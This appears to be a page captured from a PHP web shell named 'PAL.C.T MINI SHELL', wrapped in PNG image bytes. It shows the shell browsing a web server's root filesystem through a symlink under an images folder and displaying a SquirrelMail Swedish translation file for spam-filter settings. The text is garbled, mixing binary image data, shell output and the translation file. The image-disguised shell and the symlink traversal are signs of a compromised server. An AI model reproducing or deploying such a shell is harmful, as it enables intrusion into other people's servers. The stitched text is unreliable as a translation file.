‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/sv_SE/LC_MESSAGES/
upload
files >> //var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/sv_SE/LC_MESSAGES/sasql.po

# Swedish (sv_SE) sasql Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Fredrik Jervfors <jervfors@squirrelmail.org>, 2004-2009.
# $Id: sasql.po 13541 2009-04-15 12:42:12Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: sasql\n"
"POT-Creation-Date: 2005-03-29 08:36-0700\n"
"PO-Revision-Date: 2005-04-14 12:39+0200\n"
"Last-Translator: Fredrik Jervfors <jervfors@squirrelmail.org>\n"
"Language-Team: Swedish <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"

msgid "DSPAM Settings"
msgstr "DSPAM-instÀllningar"

msgid "Warning"
msgstr "Varning"

msgid "Enabling DSPAM will disable SpamAssassin scanning of your email."
msgstr "SpamAssassin kommer inte att skanna dina brev om DSPAM aktiveras."

msgid "SpamAssassin settings and white/blacklists will not be used by dspam."
msgstr ""
"DSPAM anvÀnder inte SpamAssassins instÀllningar samt svart- och vitlistor."

#, php-format
msgid ""
"This %sFAQ%s from the DSPAM web site explains the differences between "
"SpamAssassin and DSPAM and why you might want to use dspam instead of "
"SpamAssassin."
msgstr ""
"Dessa %svanliga frÄgor%s(pÄ engelska) frÄn DSPAM:s webbsidor förklarar "
"skillnaderna mellan DSPAM och SpamAssassinoch varför DSPAM kanske Àr att "
"föredra."

msgid ""
"DSPAM is a learning system that filters spam based on what <i>you</i> tell "
"it is spam and what isn't. Messages are analyzed as they are delivered and "
"are assigned a spam probability between 0 and 1. The more messages you "
"receive, both spam and innocent, the better DSPAM learns what <i>you</i> "
"think is spam and what is not."
msgstr ""
"DSPAM Àr ett lÀrande system som filtrerar skrÀppost baserat pÄ vad <i>du</i> "
"anser vara eller inte vara skrÀppost. Brev analyseras vid leveransen och "
"tilldelas ett sannolikehetsvÀrde mellan noll och ett. Ju fler brev du fÄr, "
"bÄde önskade och oönskade, dess bÀttre lÀr sig DSPAM vad <i>du</i> anser "
"vara skrÀppost."

msgid "Reporting Spam"
msgstr "AnmÀla skrÀppost"

msgid ""
"If you receive a spam message in your Inbox, forward the message to "
"<nobr>username-spam@domain</nobr> and it will be learned as spam. For "
"example, if your address is joe@example.com, you would forward the message "
"to <nobr>joe-spam@example.com</nobr>."
msgstr ""
"Om du fÄr ett skrÀppostbrev i inkorgen ska du vidarebefordra det till "
"<nobr>anvÀndarnamn-spam@domÀn</nobr> sÄ det lÀrs in som skrÀppost. Ett "
"exempel: om din adress Àr joe@example.com vidarebefordrar du skrÀppost till "
"<nobr>joe-spam@example.com</nobr>."

#, php-format
msgid ""
"You can also move your spam messages to the <i>%s</i> folder. This folder is "
"periodically checked for messages which are then learned as spam and "
"deleted. You do not need to move messages from your %s folder here because "
"they have already been learned as spam."
msgstr ""
"Du kan ocksÄ flytta skrÀppost till mappen <i>%s</i>. Denna mapp genomsöks "
"periodiskt efter brev som ska lÀras in som skrÀppost och dÀrefter kastas. Du "
"behöver inte flytta dit brev frÄn mappen %s, eftersom de redan lÀrts in som "
"skrÀppost."

msgid "Reporting False Positives"
msgstr "AnmÀla felaktigheter"

msgid ""
"From time to time, DSPAM will catch an innocent messages as spam. These "
"messages are called \"false positives\". There is no way to prevent false "
"positives entirely. If you find a false positive, forward the message to "
"<nobr>username-fp@domain</nobr> and it will be learned as an innocent "
"message. For example, if your email address is joe@example.com, you would "
"forward the message to <nobr>joe-fp@example.com</nobr>."
msgstr ""
"Ibland kan det hÀnda att DSPAM markerat ett legitimt brev som skrÀppost. "
"Dessa brev kallas brev kallas \"felaktigt markerade\". Det finns tyvÀrr inte "
"nÄgot garanterat sÀtt att förhindra att brev markeras felaktigt, men om du "
"upptÀcker att ett brev felaktigt markerats kan du skicka det till "
"<nobr>anvÀndarnamn-fp@domÀn</nobr>. Ett exempel: om din adress Àr "
"joe@example.com vidarebefordrar du skrÀppost till <nobr>joe-fp@example.com</"
"nobr>."

#, php-format
msgid ""
"You can also move your false positives to the <i>%s</i> folder from the %s "
"folder. This folder is periodically checked for messages which are then "
"learned as false positives and deleted."
msgstr ""
"Du kan ocksÄ flytta ett felaktigt markerat brev till mappen <i>%s</i> frÄn "
"mappen %s. Denna mapp genomsöks periodiskt efter brev som ska lÀras in som "
"legitima och dÀrefter kastas."

msgid "Disclaimer"
msgstr "FörbehÄll"

msgid ""
"DSPAM is a learning system. It only knows what is spam based on what you "
"teach it is spam and what is not. Due to DSPAM's nature, you are more likely "
"to see errors in spam detection until it is trained on your email. If you do "
"not report a message as spam within ten days, the message will be "
"permanently learned as innocent and you will be more likely to receive more "
"spam."
msgstr ""
"DSPAM Àr ett lÀrande system. Dess enda möjlighet att sÀrskilja skrÀppost "
"frÄn legitima brev Àr baserad pÄ vad du lÀrt systemet. PÄ grund av DSPAM:s "
"natur Àr det mer sannolikt att fel upptÀder i början nÀr systemet inte fÄtt "
"sÄ mycket trÀning. Om ett brev inte rapporterats som skrÀppost inom tio dygn "
"kommer brevet att lÀras in som legitimt. Detta medför att risken för "
"framtida skrÀppost ökar."

#, php-format
msgid "Please read the %sDSPAM Primer%s before enabling DSPAM."
msgstr "LĂ€s %sintroduktionen till DSPAM%s innan du aktiverar DSPAM."

msgid "Use DSPAM"
msgstr "AnvÀnd DSPAM"

#, php-format
msgid "Clean out your %s folder on opt-in?"
msgstr "Ska mappen %s tömmas nÀr anvÀndandet pÄbörjas?"

msgid "Note"
msgstr "Observera"

#, php-format
msgid ""
"Your %s folder may be unavailable during the purge. It will become available "
"again when the purge is complete."
msgstr ""
"Mappen %s kan komma att vara otillgÀnglig medan den töms. NÀr tömingen Àr "
"klar gÄr det att nÄ som vanligt."

msgid "Update"
msgstr "Uppdatera"

msgid "No messages were selected."
msgstr "Inga brev var valda."

msgid "Purge"
msgstr "Töm"

#, php-format
msgid "Delete all messages from your %s folder."
msgstr "Kasta alla brev i mappen %s."

msgid "Allow Senders from Address Book"
msgstr "TillÄt brev frÄn avsÀndare i adressboken"

msgid "Allow"
msgstr "TillÄt"

msgid "Allow all address in the address book."
msgstr "TillÄt brev frÄn alla avsÀndare i adressboken"

msgid "Spam Score"
msgstr "SkrÀppostvÀrde"

msgid ""
"Once all SpamAssassin tests have been run, the resulting score is matched "
"against this value, and if greater than this value, the e-mail message is "
"marked as spam. We recommend a value of '5'."
msgstr ""
"NÀr SpamAssassin slutfört alla tester jÀmförs resultatet med detta vÀrde. Om "
"resultatet Àr större Àn skrÀppostvÀrdet markeras brevet som skrÀppost. NivÄ "
"fem Àr rekommenderad."

msgid "0 - Very Aggressive"
msgstr "0 - Mycket aggressiv"

msgid "1"
msgstr "1"

msgid "2 - Aggressive"
msgstr "2 - Aggressiv"

msgid "3"
msgstr "3"

msgid "4"
msgstr "4"

msgid "5 - Recommended"
msgstr "5 - Rekommenderad"

msgid "6"
msgstr "6"

msgid "7"
msgstr "7"

msgid "8 - Lenient"
msgstr "8 - Överseende"

msgid "9"
msgstr "9"

msgid "10 - Very Lenient"
msgstr "10 - Mycket överseende"

msgid "Don't Filter"
msgstr "Filtrera inte"

msgid "Spam Subject Tag"
msgstr "Ärendemarkering för skrĂ€ppost"

msgid "*****SPAM*****"
msgstr "SkrÀppost: "

msgid "Rewrite Subject Line"
msgstr "Markera Àrendet"

#, php-format
msgid ""
"SpamAssassin can re-write the subject line of e-mail that has been "
"determined to be spam by prefixing the original subject with: %s.  To turn "
"on this feature, select this option."
msgstr "SpamAssassin kan modifiera skÀppostens Àrende sÄ det inleds med: %s."

#, php-format
msgid ""
"The text to prefix to the subject of messages determined to be spam. %s must "
"be turned on."
msgstr "Denna text inleder skrÀppostens Àrende om %s aktiverats."

msgid ""
"SpamAssassin can re-write the subject line of e-mail that has been "
"determined to be spam by prefixing the original subject with this value."
msgstr ""
"SpamAssassin kan modifiera skrÀppostens Àrende genom att inleda med denna "
"text."

msgid "Short Report"
msgstr "Kort rapport"

msgid ""
"This option will tell SpamAssassin to use a shorter spam report once the "
"message has been found to be spam."
msgstr ""
"Detta val gör att SpamAssassin anvÀnder en kortare skrÀppostrapport om ett "
"brev upptÀckts vara skrÀppost."

msgid "Use DCC"
msgstr "AnvÀnd DCC"

msgid ""
"Checks messages against the DCC (Distrubuted Checksum Clearinghouse) to see "
"if a message matches a known spam message."
msgstr ""
"JÀmför brevet med Distributed Checksum Clearinghouse (DCC) för att se om "
"brevet motsvarar ett kÀnt skÀppostbrev."

msgid "Use SpamNet (version 1)"
msgstr "AnvÀnd SpamNet (version 1)"

msgid ""
"Checks messages against SpamNet to see if a message is a known spam message."
msgstr ""
"JÀmför brevet med SpamNet för att se om brevet motsvarar ett kÀnt "
"skÀppostbrev."

msgid "Use SpamNet (version 2)"
msgstr "AnvÀnd SpamNet (version 2)"

msgid "Always Add Headers"
msgstr "LĂ€gg alltid till i brevhuvudet"

msgid "Uncheck if you do not want to add the headers to non-spam."
msgstr ""
"LÀgger till skrÀppostkontrollens rader i brevhuvudet Àven om brevet inte Àr "
"skrÀppost."

msgid "Acceptable Languages"
msgstr "TillÄtna sprÄk"

msgid "Select all the languages you expect to receive e-mail in."
msgstr "VÀlj de sprÄk som du förvÀntar dig att e-post pÄ."

msgid "All"
msgstr "Alla"

msgid "Afrikaans"
msgstr "Afrikaans"

msgid "Albanian"
msgstr "Albanska"

msgid "Amharic"
msgstr "Amhariska"

msgid "Arabic"
msgstr "Arabiska"

msgid "Armenian"
msgstr "Armeniska"

msgid "Basque"
msgstr "Baskiska"

msgid "Bosnian"
msgstr "Bosniska"

msgid "Bulgarian"
msgstr "Bulgariska"

msgid "Byelorussian"
msgstr "Vitryska"

msgid "Catalan"
msgstr "Katalanska"

msgid "Chinese"
msgstr "Kinesiska"

msgid "Croatian"
msgstr "Kroatiska"

msgid "Czech"
msgstr "Tjeckiska"

msgid "Danish"
msgstr "Danska"

msgid "Dutch"
msgstr "NederlÀndska"

msgid "English"
msgstr "Engelska"

msgid "Esperanto"
msgstr "Esperanto"

msgid "Estonian"
msgstr "Estniska"

msgid "Finnish"
msgstr "Finska"

msgid "French"
msgstr "Franska"

msgid "Frisian"
msgstr "Frisiska"

msgid "Georgian"
msgstr "Georgiska"

msgid "German"
msgstr "Tyska"

msgid "Greek"
msgstr "Grekiska"

msgid "Hebrew"
msgstr "Hebreiska"

msgid "Hindi"
msgstr "Hindi"

msgid "Hungarian"
msgstr "Ungerska"

msgid "Icelandic"
msgstr "IslÀndska"

msgid "Indonesian"
msgstr "Indonesiska"

msgid "Irish Gaelic"
msgstr "Iriska"

msgid "Italian"
msgstr "Italienska"

msgid "Japanese"
msgstr "Japanska"

msgid "Korean"
msgstr "Koreanska"

msgid "Latin"
msgstr "Latin"

msgid "Latvian"
msgstr "Lettiska"

msgid "Lithuanian"
msgstr "Litauiska"

msgid "Malay"
msgstr "Malajiska"

msgid "Marathi"
msgstr "Marathi"

msgid "Nepali"
msgstr "Nepali"

msgid "Norwegian"
msgstr "Norska"

msgid "Persian"
msgstr "Persiska"

msgid "Polish"
msgstr "Polska"

msgid "Portuguese"
msgstr "Portugisiska"

msgid "Quechua"
msgstr "Quechua"

msgid "Rhaeto-Romance"
msgstr "RĂ€toromanska"

msgid "Romanian"
msgstr "RumÀnska"

msgid "Russian"
msgstr "Ryska"

msgid "Sanskrit"
msgstr "Sanskrit"

msgid "Scots"
msgstr "Skotska (sco)"

msgid "Scottish Gaelic"
msgstr "Skotska (gd)"

msgid "Serbian"
msgstr "Serbiska"

msgid "Slovak"
msgstr "Slovakiska"

msgid "Slovenian"
msgstr "Slovenska"

msgid "Spanish"
msgstr "Spanska"

msgid "Swahili"
msgstr "Swahili"

msgid "Swedish"
msgstr "Svenska"

msgid "Tagalog"
msgstr "Tagalog"

msgid "Tamil"
msgstr "Tamil"

msgid "Thai"
msgstr "ThailÀndska"

msgid "Turkish"
msgstr "Turkiska"

msgid "Ukrainian"
msgstr "Ukrainska"

msgid "Vietnamese"
msgstr "Vietnamesiska"

msgid "Welsh"
msgstr "Walesiska"

msgid "Yiddish"
msgstr "Jiddisch"

msgid "Use Bayesian Filter"
msgstr "AnvÀnd bayesiskt filter"

msgid ""
"The Baysian Filter will learn what is spam and what isn't to become a better "
"filter."
msgstr ""
"Ett bayesiskt filter lÀr sig vad som Àr skrÀppost och vad som inte Àr det "
"för att bli ett bÀttre filter."

msgid "Auto-learn"
msgstr "Automatisk inlÀrning"

msgid ""
"Automatically feed high and low scoring mails into SpamAssassin's learning "
"systems. (Currently, only Bayesian filtering is supported.)"
msgstr ""
"Matar automatiskt in brev med hög och lÄg skÀppostsannolikhet i "
"SpamAssassins inlÀrningssystem. (För nÀrvarande stödjs endast bayesisk "
"filtrering.)"

msgid "Spam Encapsulation"
msgstr "Inkapsling av skrÀppost"

msgid ""
"Encapsulate spam messages into a MIME or plain-text attachment, or you can "
"disable it altogether."
msgstr "Kapslar in sjÀlva skrÀpposten i en MIME- eller textbilaga."

msgid "Disabled"
msgstr "Inaktiverad"

msgid "MIME Attachment"
msgstr "MIME-bilaga"

msgid "Text Attachment"
msgstr "Textbilaga"

msgid "Report in Header"
msgstr "AnmÀl i brevhuvudet"

msgid ""
"SpamAssassin will create a report when it determines an e-mail message to be "
"spam.  This report is normally prepended to the e-mail message.  To have the "
"report written as part of the e-mail header, select this option."
msgstr ""
"NÀr e-post rapporteras som skrÀppost skriver SpamAssassin en rapport. Denna "
"rapport föregÄr normalt brevet. AnvÀnd detta val för att lÄta rapporten ingÄ "
"som en del av brevhuvudet istÀllet."

msgid "Reformat HTML Spam"
msgstr "Konvertera HTML-skrÀppost"

msgid ""
"When an e-mail in HTML format is determined to be spam, SpamAssassin can "
"convert the message to text. To allow this, select this option."
msgstr ""
"Detta val gör att SpamAssassin konverterar skÀppost i HTML-format till text."

msgid "Whitelist From"
msgstr "Vitlista frÄn"

msgid ""
"E-mail from these addresses will not be marked as spam. You may use '*' as a "
"wildcard to allow a large number of addresses at one time. E.g. Whitelist "
"From '*@aol.com' will not mark any message that claims to be from aol.com as "
"spam."
msgstr ""
"Brev frÄn dessa adresser markeras aldrig som skrÀppost. '*' kan anvÀndas som "
"ett jokertecken för att tillÄta flera adresser pÄ en gÄng. Vitlista frÄn "
"'*@example.com' gör sÄ att inga brev frÄn den domÀnen skrÀppostmarkeras."

msgid "Don't Whitelist From"
msgstr "Vitlista inte frÄn"

msgid ""
"This address will be excluded from a previous whitelist and will be treated "
"as a normal address, i.e. it will not be automatically allowed."
msgstr ""
"Dessa adresser utesluts frÄn vitlistan vilket innebÀr att brev frÄn dem "
"kommer att behandlas som vanliga brev."

msgid "Blacklist From"
msgstr "Svartlista frÄn"

msgid ""
"E-mail from these addresses will always be marked as spam. You may use '*' "
"as a wildcard to block a large number of addresses at one time. E.g. "
"Blacklist From '*@aol.com' will mark all messages that claims to be from aol."
"com as spam."
msgstr ""
"Brev frÄn dessa adresser markeras alltid som skrÀppost. '*' kan anvÀndas som "
"ett jokertecken för att blockera flera adresser pÄ en gÄng. Svartlista frÄn "
"'*@example.com' gör sÄ att alla brev frÄn den domÀnen skrÀppostmarkeras."

msgid "Don't Blacklist From"
msgstr "Svartlista inte frÄn"

msgid ""
"This address will be excluded from a previous blacklist and will be treated "
"as a normal address, i.e. it will not be automatically denied."
msgstr ""
"Dessa adresser utesluts frÄn svartlistan vilket innebÀr att brev frÄn dem "
"kommer att behandlas som vanliga brev."

msgid "Whitelist To"
msgstr "Vitlista till"

msgid ""
"E-mail to these addresses will not be marked as spam. This is useful for "
"allowing e-mail lists. For example, you can allow all messages from an e-"
"mail list that sends to 'Tofu-Support-List@beeflovers.com'. You may use '*' "
"as a wildcard to allow a large number of addresses at one time. E.g. "
"Whitelist To '*@aol.com' will not mark any message that claims to be to aol."
"com as spam."
msgstr ""
"Brev till dessa adresser markeras aldrig som skrÀppost. Detta Àr anvÀndbart "
"för att tillÄta brev till e-postlistor. T.ex. kan alla brev till en e-"
"postlista med adressen 'lista@example.com' tillÄtas. '*' kan anvÀndas som "
"ett jokertecken för att tillÄta flera adresser pÄ en gÄng. Vitlista till "
"'*@example.com' gör sÄ att inga brev till den domÀnen skrÀppostmarkeras."

msgid "Blacklist To"
msgstr "Svartlista till"

msgid ""
"E-mail to these addresses will be marked as spam. You may use '*' as a "
"wildcard to reject a large number of addresses at one time. E.g. Blacklist "
"To '*@aol.com' will mark all messages that claims to be to aol.com as spam."
msgstr ""
"Brev till dessa adresser markeras alltid som skrÀppost. '*' kan anvÀndas som "
"ett jokertecken för att blockera flera adresser pÄ en gÄng. Svartlista till "
"'*@example.com' gör sÄ att alla brev till den domÀnen skrÀppostmarkeras."

msgid "General Settings"
msgstr "AllmÀnna instÀllningar"

msgid "Save Settings"
msgstr "Spara instÀllningar"

msgid "Error: You must include an e-mail address."
msgstr "Fel: Du mÄste ange en e-postadress."

msgid "Error: You have entered an invalid e-mail address."
msgstr "Fel: Du har angivit en felaktig e-postadress."

msgid "Error: You must select Allow or Deny."
msgstr "Fel: Du mÄste vÀlja TillÄt eller Neka."

msgid "Global Allow / Deny Address List"
msgstr "Global TillÄt/Neka adresslista"

msgid "Address"
msgstr "Adress"

msgid "Type"
msgstr "Typ"

msgid "Personal Allow / Deny Address List"
msgstr "Personlig TillÄt/Neka adresslista"

msgid "Action"
msgstr "Aktivitet"

msgid "Address Removed"
msgstr "Adressen ströks"

#, php-format
msgid "Unknown option: %s"
msgstr "OkÀnd instÀllning: %s"

msgid "Delete"
msgstr "Stryk"

msgid "Edit"
msgstr "Redigera"

msgid "Edit Address"
msgstr "Redigera adress"

msgid "Add New Address"
msgstr "LĂ€gg till adress"

msgid "Address:"
msgstr "Adress:"

msgid "Type:"
msgstr "Typ:"

msgid "Legend"
msgstr "Förklaring"

#, php-format
msgid "Database error in %s: %s"
msgstr "Databasfel i %s: %s"

#, php-format
msgid "Database error: %s"
msgstr "Databasfel: %s"

#, php-format
msgid "sasql_AddPref_multiple Database error: %s"
msgstr "sasql_AddPref_multiple databasfel: %s"

#, php-format
msgid "Database error %s: %s"
msgstr "Databasfel i %s: %s"

msgid "Spam Filters"
msgstr "SkrÀppostfilter"

msgid "Configure the behavior of your spam filters."
msgstr "Regler för hur skrÀppost ska hanteras."

msgid "Add Email to Whitelist"
msgstr "LÀgg till brevet pÄ vitlistan"

msgid "Allow Sender"
msgstr "GodkÀnn avsÀndare"

msgid "Remove Email from Whitelist"
msgstr "Stryk brevet frÄn vitlistan"

msgid "remove"
msgstr "Stryk"

msgid "Remove Domain from Whitelist"
msgstr "LÀgg till domÀnen pÄ vitlistan"

msgid "Add Email to Blacklist"
msgstr "LÀgg till brevet pÄ svartlistan"

msgid "Block Sender"
msgstr "Blockera avsÀndare"

msgid "Remove Email from Blacklist"
msgstr "Stryk brevet frÄn svartlistan"

msgid "Remove Domain from Blacklist"
msgstr "Stryk domÀnen frÄn svartlistan"

msgid "Address is already in your whitelist"
msgstr "Adressen finns redan pÄ vitlistan"

msgid "Whitelisted"
msgstr "Vitlistad"

msgid "Domain is already in your whitelist"
msgstr "DomÀnen finns redan pÄ vitlistan"

msgid "Address is already in your blacklist"
msgstr "Adressen finns redan pÄ svartlistan"

msgid "Blacklisted"
msgstr "Svartlistad"

msgid "Domain is already in your blacklist"
msgstr "DomÀnen finns redan pÄ svartlistan"

msgid "Learn as False Positive"
msgstr "LĂ€r in som felaktigt markerat"

msgid "Learn as Spam"
msgstr "LÀr in som skrÀppost"

msgid "Options"
msgstr "InstÀllningar"

msgid "Error: Missing option."
msgstr "Fel: Saknad instÀllning."
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚